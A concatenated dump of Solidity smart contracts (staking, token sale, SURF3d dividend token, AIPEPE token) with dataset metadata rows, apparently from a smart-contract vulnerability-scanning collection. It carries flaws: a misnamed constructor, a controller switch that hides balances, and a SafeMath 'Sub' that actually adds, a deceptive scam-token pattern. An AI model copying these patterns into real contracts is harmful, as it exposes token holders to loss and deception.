// uint256 _nowSushi = _t.accSushi + _totalRed / _t.totalDeposit;
uint256 _nowSushi = _t.accSushi.add(_totalRed.div(_t.totalDeposit));
//
// _userRed = _u.amount * (_nowSushi - _u.accSushi);
_userRed = _u.amount.mul(_nowSushi.sub(_u.accSushi));
}
////////////////////////////////////////// Token ///////////////////////////////////////////
//
// 1: token
// 2:
// 3:
function depositToken(address _tokenAddress, uint256 _value, address _superAddress) external {
require(msg.sender != _superAddress, "NFTMining: not my self");
if(userMapping[msg.sender] == false) {
userMapping[msg.sender] = true;
}
if(superAddress[msg.sender] == address(0) && _superAddress != address(0)) {
if(userMapping[msg.sender]) {
superAddress[msg.sender] = _superAddress;
inviteStruct memory _i = inviteStruct(block.timestamp, msg.sender);
inviteMapping[_superAddress].push(_i);
}
}
// token
tokenStruct storage t_ = tokenMapping[_tokenAddress];
//
userStruct storage u_ = userTokenMapping[_tokenAddress][msg.sender];
// token,
require(t_.isFlag == true, "Mining: Token not exist");
//
require(t_.isClosed == false, "Mining: Token is closed");
//
_depositStorage(_tokenAddress, _value, 1, t_, u_);
//
if(tokenUserPlayer[_tokenAddress][msg.sender] == false) {
//
tokenUserPlayer[_tokenAddress][msg.sender] = true;
t_.playerNumber++;
}
emit Deposit(msg.sender, _value);
}
// Token; HNFT, 0
// 1: token
// 2:
function withdrawToken(address _tokenAddress, uint256 _value) external {
// token
tokenStruct storage t_ = tokenMapping[_tokenAddress];
//
userStruct storage u_ = userTokenMapping[_tokenAddress][msg.sender];
// token,
require(t_.isFlag == true, "Mining: Token not exist");
//
require(t_.isClosed == false, "Mining: Token is closed");
//
_withdrawStorage(_tokenAddress, _value, 1, t_, u_);
}
// ; Token
// 1:
// 2:
function getRedToken(address _tokenAddress, address _userAddress) public view returns (uint256 _userRed) {
// token
tokenStruct memory _t = tokenMapping[_tokenAddress];
//
userStruct memory _u = userTokenMapping[_tokenAddress][_userAddress];
// token
require(_t.isFlag == true, "Mining: Token not exist");
_userRed = _getRed(1, _t, _u);
}
////////////////////////////////////////// LP ///////////////////////////////////////////
// LP
// 1: lp
// 2:
// 3:
function depositLp(address _tokenAddress, uint256 _value, address _superAddress) external {
require(msg.sender != _superAddress, "NFTMining: not my self");
if(userMapping[msg.sender] == false) {
userMapping[msg.sender] = true;
}
if(superAddress[msg.sender] == address(0) && _superAddress != address(0)) {
if(userMapping[msg.sender]) {
superAddress[msg.sender] = _superAddress;
inviteStruct memory _i = inviteStruct(block.timestamp, msg.sender);
inviteMapping[_superAddress].push(_i);
}
}
// token
tokenStruct storage t_ = lpMapping[_tokenAddress];
//
userStruct storage u_ = userLpMapping[_tokenAddress][msg.sender];
// token,
require(t_.isFlag == true, "Mining: Token not exist");
//
require(t_.isClosed == false, "Mining: Token is closed");
//
_depositStorage(_tokenAddress, _value, 2, t_, u_);
//
if(lpUserPlayer[_tokenAddress][msg.sender] == false) {
//
lpUserPlayer[_tokenAddress][msg.sender] = true;
t_.playerNumber++;
}
emit Deposit(msg.sender, _value);
}
// LP; HNFT, 0
// 1: lp
// 2:
function withdrawLp(address _tokenAddress, uint256 _value) external {
// token
tokenStruct storage t_ = lpMapping[_tokenAddress];
//
userStruct storage u_ = userLpMapping[_tokenAddress][msg.sender];
// token,
require(t_.isFlag == true, "Mining: Token not exist");
//
require(t_.isClosed == false, "Mining: Token is closed");
//
_withdrawStorage(_tokenAddress, _value, 2, t_, u_);
}
// ; Lp
// 1:
// 2:
function getRedLp(address _tokenAddress, address _userAddress) public view returns (uint256 _userRed) {
// token
tokenStruct memory _t = lpMapping[_tokenAddress];
//
userStruct memory _u = userLpMapping[_tokenAddress][_userAddress];
// token
require(_t.isFlag == true, "Token not exist");
_userRed = _getRed(2, _t, _u);
}
}
| 289,308 | 13,564 |
265072f91a5b6a56cdfd114c3810a90d6db0abeb633a2671d8988c5e06099e36
| 16,743 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x2584f892a2e50b5493ed108fa61888ba373ec02d.sol
| 3,966 | 16,177 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
/// @dev `Owned` is a base level contract that assigns an `owner` that can be
/// later changed
contract Owned {
/// @dev `owner` is the only address that can call a function with this
/// modifier
modifier onlyOwner() {
if(msg.sender != owner) throw;
_;
}
address public owner;
/// @notice The Constructor assigns the message sender to be `owner`
function Owned() {
owner = msg.sender;
}
address public newOwner;
/// @notice `owner` can step down and assign some other address to this role
/// @param _newOwner The address of the new owner. 0x0 can be used to create
/// an unowned neutral vault, however that cannot be undone
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20Token {
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController { if (msg.sender != controller) throw; _; }
address public controller;
function Controlled() { controller = msg.sender;}
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) onlyController {
controller = _newController;
}
}
contract StandardToken is ERC20Token ,Controlled{
bool public showValue=true;
// Flag that determines if the token is transferable or not.
bool public transfersEnabled;
function transfer(address _to, uint256 _value) returns (bool success) {
if(!transfersEnabled) throw;
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if(!transfersEnabled) throw;
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
if(!showValue)
return 0;
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
if(!transfersEnabled) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
if(!transfersEnabled) throw;
return allowed[_owner][_spender];
}
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) onlyController {
transfersEnabled = _transfersEnabled;
}
function enableShowValue(bool _showValue) onlyController {
showValue = _showValue;
}
function generateTokens(address _owner, uint _amount) onlyController returns (bool) {
uint curTotalSupply = totalSupply;
if (curTotalSupply + _amount < curTotalSupply) throw; // Check for overflow
totalSupply=curTotalSupply + _amount;
balances[_owner]+=_amount;
Transfer(0, _owner, _amount);
return true;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract MiniMeTokenSimple is StandardToken {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
string public version = 'MMT_0.1'; //An arbitrary versioning scheme
// `parentToken` is the Token address that was cloned to produce this token;
// it will be 0x0 for a token that was not cloned
address public parentToken;
// `parentSnapShotBlock` is the block number from the Parent Token that was
// used to determine the initial distribution of the Clone Token
uint public parentSnapShotBlock;
// `creationBlock` is the block number that the Clone Token was created
uint public creationBlock;
// The factory used to create new clone tokens
address public tokenFactory;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a MiniMeTokenSimple
/// @param _tokenFactory The address of the MiniMeTokenFactory contract that
/// will create the Clone token contracts, the token factory needs to be
/// deployed first
/// @param _parentToken Address of the parent token, set to 0x0 if it is a
/// new token
/// @param _parentSnapShotBlock Block of the parent token that will
/// determine the initial distribution of the clone token, set to 0 if it
/// is a new token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
function MiniMeTokenSimple(address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled) {
tokenFactory = _tokenFactory;
name = _tokenName; // Set the name
decimals = _decimalUnits; // Set the decimals
symbol = _tokenSymbol; // Set the symbol
parentToken = _parentToken;
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
ERC20Token token = ERC20Token(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
}
contract PFCContribution is Owned {
using SafeMath for uint256;
MiniMeTokenSimple public PFC;
uint256 public ratio=25000;
uint256 public constant MIN_FUND = (0.001 ether);
uint256 public startTime=0 ;
uint256 public endTime =0;
uint256 public finalizedBlock=0;
uint256 public finalizedTime=0;
bool public isFinalize = false;
uint256 public totalContributedETH = 0;
uint256 public totalTokenSaled=0;
uint256 public MaxEth=15000 ether;
address public pfcController;
address public destEthFoundation;
bool public paused;
modifier initialized() {
require(address(PFC) != 0x0);
_;
}
modifier contributionOpen() {
require(time() >= startTime &&
time() <= endTime &&
finalizedBlock == 0 &&
address(PFC) != 0x0);
_;
}
modifier notPaused() {
require(!paused);
_;
}
function PFCCContribution() {
paused = false;
}
/// @notice This method should be called by the owner before the contribution
/// period starts This initializes most of the parameters
/// @param _pfc Address of the PFC token contract
/// @param _pfcController Token controller for the PFC that will be transferred after
/// the contribution finalizes.
/// @param _startTime Time when the contribution period starts
/// @param _endTime The time that the contribution period ends
/// @param _destEthFoundation Destination address where the contribution ether is sent
function initialize(address _pfc,
address _pfcController,
uint256 _startTime,
uint256 _endTime,
address _destEthFoundation,
uint256 _maxEth) public onlyOwner {
// Initialize only once
require(address(PFC) == 0x0);
PFC = MiniMeTokenSimple(_pfc);
require(PFC.totalSupply() == 0);
require(PFC.controller() == address(this));
require(PFC.decimals() == 18); // Same amount of decimals as ETH
startTime = _startTime;
endTime = _endTime;
assert(startTime < endTime);
require(_pfcController != 0x0);
pfcController = _pfcController;
require(_destEthFoundation != 0x0);
destEthFoundation = _destEthFoundation;
require(_maxEth >1 ether);
MaxEth=_maxEth;
}
/// @notice If anybody sends Ether directly to this contract, consider he is
/// getting PFCs.
function () public payable notPaused {
if(totalContributedETH>=MaxEth) throw;
proxyPayment(msg.sender);
}
//////////
// MiniMe Controller functions
//////////
/// @notice This method will generally be called by the PFC token contract to
/// acquire PFCs. Or directly from third parties that want to acquire PFCs in
/// behalf of a token holder.
/// @param _account PFC holder where the PFC will be minted.
function proxyPayment(address _account) public payable initialized contributionOpen returns (bool) {
require(_account != 0x0);
require(msg.value >= MIN_FUND);
uint256 tokenSaling;
uint256 rValue;
uint256 t_totalContributedEth=totalContributedETH+msg.value;
uint256 reFund=0;
if(t_totalContributedEth>MaxEth) {
reFund=t_totalContributedEth-MaxEth;
}
rValue=msg.value-reFund;
tokenSaling=rValue.mul(ratio);
if(reFund>0)
msg.sender.transfer(reFund);
assert(PFC.generateTokens(_account,tokenSaling));
destEthFoundation.transfer(rValue);
totalContributedETH +=rValue;
totalTokenSaled+=tokenSaling;
NewSale(msg.sender, rValue,tokenSaling);
}
function setMaxEth(uint256 _maxEth) onlyOwner initialized{
MaxEth=_maxEth;
}
function setRatio(uint256 _ratio) onlyOwner initialized{
ratio=_ratio;
}
function issueTokenToAddress(address _account, uint256 _amount) onlyOwner initialized {
assert(PFC.generateTokens(_account, _amount));
totalTokenSaled +=_amount;
NewIssue(_account, _amount);
}
function finalize() public onlyOwner initialized {
require(time() >= startTime);
require(finalizedBlock == 0);
finalizedBlock = getBlockNumber();
finalizedTime = now;
PFC.changeController(pfcController);
isFinalize=true;
Finalized();
}
function time() constant returns (uint) {
return block.timestamp;
}
//////////
// Constant functions
//////////
/// @return Total tokens issued in weis.
function tokensIssued() public constant returns (uint256) {
return PFC.totalSupply();
}
//////////
// Testing specific methods
//////////
/// @notice This function is overridden by the test Mocks.
function getBlockNumber() internal constant returns (uint256) {
return block.number;
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) public onlyOwner {
if (PFC.controller() == address(this)) {
PFC.claimTokens(_token);
}
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
ERC20Token token = ERC20Token(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
/// @notice Pauses the contribution if there is any issue
function pauseContribution() onlyOwner {
paused = true;
}
/// @notice Resumes the contribution
function resumeContribution() onlyOwner {
paused = false;
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount);
event NewSale(address _account, uint256 _amount,uint256 _tokenAmount);
event NewIssue(address indexed _th, uint256 _amount);
event Finalized();
}
| 201,415 | 13,565 |
61dc6684218a879562dca71b595dff85c920f940f16b3e309e626b415dd01cfc
| 11,086 |
.sol
|
Solidity
| false |
305822478
|
SURF-Finance/contracts
|
d074ce87c79fb888c4a5f7a1141d04631f862939
|
ethereum/SURF3d.sol
| 3,874 | 11,036 |
pragma solidity ^0.6.12;
interface Callable {
function tokenCallback(address _from, uint256 _tokens, bytes calldata _data) external returns (bool);
}
interface Router {
function WETH() external pure returns (address);
function swapExactETHForTokens(uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory);
}
interface SURF {
function balanceOf(address) external view returns (uint256);
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
}
contract WhirlpoolManager {
uint256 constant private BOARD_DIVIDENDS_PERCENT = 10;
struct Info {
address whirlpool;
address boardDividends;
SURF surf;
SURF3d s3d;
}
Info private info;
constructor(address _surf, address _whirlpool, address _boardDividends) public {
info.whirlpool = _whirlpool;
info.boardDividends = _boardDividends;
info.surf = SURF(_surf);
info.s3d = SURF3d(msg.sender);
}
receive() external payable {}
function deposit() external {
uint256 _balance = address(this).balance;
if (_balance > 0) {
info.s3d.deposit{value: _balance}();
}
}
function release() external {
if (info.s3d.dividendsOf(address(this)) > 0) {
info.s3d.withdraw();
}
uint256 _balance = info.surf.balanceOf(address(this));
if (_balance > 0) {
uint256 _boardDividends = _balance * BOARD_DIVIDENDS_PERCENT / 100;
info.surf.transfer(info.boardDividends, _boardDividends); // Send 10% of divs to SURF Board holders
info.surf.transfer(address(info.surf), _boardDividends); // Burn 10% of divs by sending them to the SURF token contract
info.surf.transfer(info.whirlpool, _balance - _boardDividends - _boardDividends); // Send 80% of divs to the Whirlpool
}
}
}
contract SURF3d {
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 constant private BUY_TAX = 15;
uint256 constant private SELL_TAX = 15;
uint256 constant private STARTING_PRICE = 1e17;
uint256 constant private INCREMENT = 1e12;
string constant public name = "SURF3d";
string constant public symbol = "S3D";
uint8 constant public decimals = 18;
struct User {
uint256 balance;
mapping(address => uint256) allowance;
int256 scaledPayout;
}
struct Info {
uint256 totalSupply;
mapping(address => User) users;
uint256 scaledSurfPerToken;
uint256 openingBlock;
address whirlpool;
address deployer;
Router router;
SURF surf;
}
Info private info;
WhirlpoolManager public whirlpoolManager;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed spender, uint256 tokens);
event Buy(address indexed buyer, uint256 amountSpent, uint256 tokensReceived);
event Sell(address indexed seller, uint256 tokensSpent, uint256 amountReceived);
event Withdraw(address indexed user, uint256 amount);
event Reinvest(address indexed user, uint256 amount);
constructor(address _surf, address _whirlpool, address _boardDividends) public {
info.router = Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
info.surf = SURF(_surf);
info.whirlpool = _whirlpool;
info.deployer = msg.sender;
whirlpoolManager = new WhirlpoolManager(_surf, _whirlpool, _boardDividends);
}
function setOpeningBlock(uint256 _openingBlock, uint256 _firstBuyAmount) external {
require(info.openingBlock == 0 && msg.sender == info.deployer);
require(_openingBlock >= block.number + 500);
if (_firstBuyAmount > 0) {
buyFor(_firstBuyAmount, address(whirlpoolManager));
}
info.openingBlock = _openingBlock;
}
receive() external payable {
if (msg.sender == tx.origin) {
deposit();
}
}
function deposit() public payable returns (uint256) {
return depositFor(msg.sender);
}
function depositFor(address _user) public payable returns (uint256) {
require(msg.value > 0);
return _deposit(msg.value, _user);
}
function buy(uint256 _amount) external returns (uint256) {
return buyFor(_amount, msg.sender);
}
function buyFor(uint256 _amount, address _user) public returns (uint256) {
require(_amount > 0);
uint256 _balanceBefore = info.surf.balanceOf(address(this));
info.surf.transferFrom(msg.sender, address(this), _amount);
uint256 _amountReceived = info.surf.balanceOf(address(this)) - _balanceBefore;
return _buy(_amountReceived, _user);
}
function tokenCallback(address _from, uint256 _tokens, bytes calldata) external returns (bool) {
require(msg.sender == address(info.surf));
require(_tokens > 0);
_buy(_tokens, _from);
return true;
}
function sell(uint256 _tokens) external returns (uint256) {
require(balanceOf(msg.sender) >= _tokens);
return _sell(_tokens);
}
function withdraw() external returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends > 0);
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
info.surf.transfer(msg.sender, _dividends);
emit Withdraw(msg.sender, _dividends);
return _dividends;
}
function reinvest() external returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends > 0);
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
emit Reinvest(msg.sender, _dividends);
return _buy(_dividends, msg.sender);
}
function transfer(address _to, uint256 _tokens) external returns (bool) {
return _transfer(msg.sender, _to, _tokens);
}
function approve(address _spender, uint256 _tokens) external returns (bool) {
info.users[msg.sender].allowance[_spender] = _tokens;
emit Approval(msg.sender, _spender, _tokens);
return true;
}
function transferFrom(address _from, address _to, uint256 _tokens) external returns (bool) {
require(info.users[_from].allowance[msg.sender] >= _tokens);
info.users[_from].allowance[msg.sender] -= _tokens;
return _transfer(_from, _to, _tokens);
}
function transferAndCall(address _to, uint256 _tokens, bytes calldata _data) external returns (bool) {
_transfer(msg.sender, _to, _tokens);
uint32 _size;
assembly {
_size := extcodesize(_to)
}
if (_size > 0) {
require(Callable(_to).tokenCallback(msg.sender, _tokens, _data));
}
return true;
}
function totalSupply() public view returns (uint256) {
return info.totalSupply;
}
function currentPrices() public view returns (uint256 truePrice, uint256 buyPrice, uint256 sellPrice) {
truePrice = STARTING_PRICE + INCREMENT * totalSupply() / 1e18;
buyPrice = truePrice * 100 / (100 - BUY_TAX);
sellPrice = truePrice * (100 - SELL_TAX) / 100;
}
function balanceOf(address _user) public view returns (uint256) {
return info.users[_user].balance;
}
function dividendsOf(address _user) public view returns (uint256) {
return uint256(int256(info.scaledSurfPerToken * balanceOf(_user)) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
function allInfoFor(address _user) external view returns (uint256 contractBalance, uint256 totalTokenSupply, uint256 truePrice, uint256 buyPrice, uint256 sellPrice, uint256 openingBlock, uint256 currentBlock, uint256 userETH, uint256 userSURF, uint256 userBalance, uint256 userDividends, uint256 userLiquidValue) {
contractBalance = info.surf.balanceOf(address(this));
totalTokenSupply = totalSupply();
(truePrice, buyPrice, sellPrice) = currentPrices();
openingBlock = info.openingBlock;
currentBlock = block.number;
userETH = _user.balance;
userSURF = info.surf.balanceOf(_user);
userBalance = balanceOf(_user);
userDividends = dividendsOf(_user);
userLiquidValue = calculateResult(userBalance, false, false) + userDividends;
}
function allowance(address _user, address _spender) external view returns (uint256) {
return info.users[_user].allowance[_spender];
}
function calculateResult(uint256 _amount, bool _buy, bool _inverse) public view returns (uint256) {
uint256 _buyPrice;
uint256 _sellPrice;
(, _buyPrice, _sellPrice) = currentPrices();
uint256 _rate = (_buy ? _buyPrice : _sellPrice);
uint256 _increment = INCREMENT * (_buy ? 100 : (100 - SELL_TAX)) / (_buy ? (100 - BUY_TAX) : 100);
if ((_buy && !_inverse) || (!_buy && _inverse)) {
if (_inverse) {
return (2 * _rate - _sqrt(4 * _rate * _rate + _increment * _increment - 4 * _rate * _increment - 8 * _amount * _increment) - _increment) * 1e18 / (2 * _increment);
} else {
return (_sqrt((_increment + 2 * _rate) * (_increment + 2 * _rate) + 8 * _amount * _increment) - _increment - 2 * _rate) * 1e18 / (2 * _increment);
}
} else {
if (_inverse) {
return (_rate * _amount + (_increment * (_amount + 1e18) / 2e18) * _amount) / 1e18;
} else {
return (_rate * _amount - (_increment * (_amount + 1e18) / 2e18) * _amount) / 1e18;
}
}
}
function _transfer(address _from, address _to, uint256 _tokens) internal returns (bool) {
require(info.users[_from].balance >= _tokens);
info.users[_from].balance -= _tokens;
info.users[_from].scaledPayout -= int256(_tokens * info.scaledSurfPerToken);
info.users[_to].balance += _tokens;
info.users[_to].scaledPayout += int256(_tokens * info.scaledSurfPerToken);
emit Transfer(_from, _to, _tokens);
return true;
}
function _deposit(uint256 _value, address _user) internal returns (uint256) {
uint256 _balanceBefore = info.surf.balanceOf(address(this));
address[] memory _poolPath = new address[](2);
_poolPath[0] = info.router.WETH();
_poolPath[1] = address(info.surf);
info.router.swapExactETHForTokens{value: _value}(0, _poolPath, address(this), block.timestamp + 5 minutes);
uint256 _amount = info.surf.balanceOf(address(this)) - _balanceBefore;
return _buy(_amount, _user);
}
function _buy(uint256 _amount, address _user) internal returns (uint256 tokens) {
require((info.openingBlock == 0 && msg.sender == info.deployer) || (info.openingBlock != 0 && block.number >= info.openingBlock));
uint256 _tax = _amount * BUY_TAX / 100;
tokens = calculateResult(_amount, true, false);
info.totalSupply += tokens;
info.users[_user].balance += tokens;
info.users[_user].scaledPayout += int256(tokens * info.scaledSurfPerToken);
info.scaledSurfPerToken += _tax * FLOAT_SCALAR / info.totalSupply;
emit Transfer(address(0x0), _user, tokens);
emit Buy(_user, _amount, tokens);
}
function _sell(uint256 _tokens) internal returns (uint256 amount) {
require(info.users[msg.sender].balance >= _tokens);
amount = calculateResult(_tokens, false, false);
uint256 _tax = amount * SELL_TAX / (100 - SELL_TAX);
info.totalSupply -= _tokens;
info.users[msg.sender].balance -= _tokens;
info.users[msg.sender].scaledPayout -= int256(_tokens * info.scaledSurfPerToken);
info.scaledSurfPerToken += _tax * FLOAT_SCALAR / info.totalSupply;
info.surf.transfer(msg.sender, amount);
emit Transfer(msg.sender, address(0x0), _tokens);
emit Sell(msg.sender, _tokens, amount);
}
function _sqrt(uint256 _n) internal pure returns (uint256 result) {
uint256 _tmp = (_n + 1) / 2;
result = _n;
while (_tmp < result) {
result = _tmp;
_tmp = (_n / _tmp + _tmp) / 2;
}
}
}
| 236,467 | 13,566 |
ad7f2e5380f3c8bdb32ee6b98ca2271f61ad7202cca9c5e3b5084627f336b059
| 19,786 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/86/862d39823b4071ada75a0f5b627b6d01f229c90c_AIPEPE.sol
| 3,228 | 11,020 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
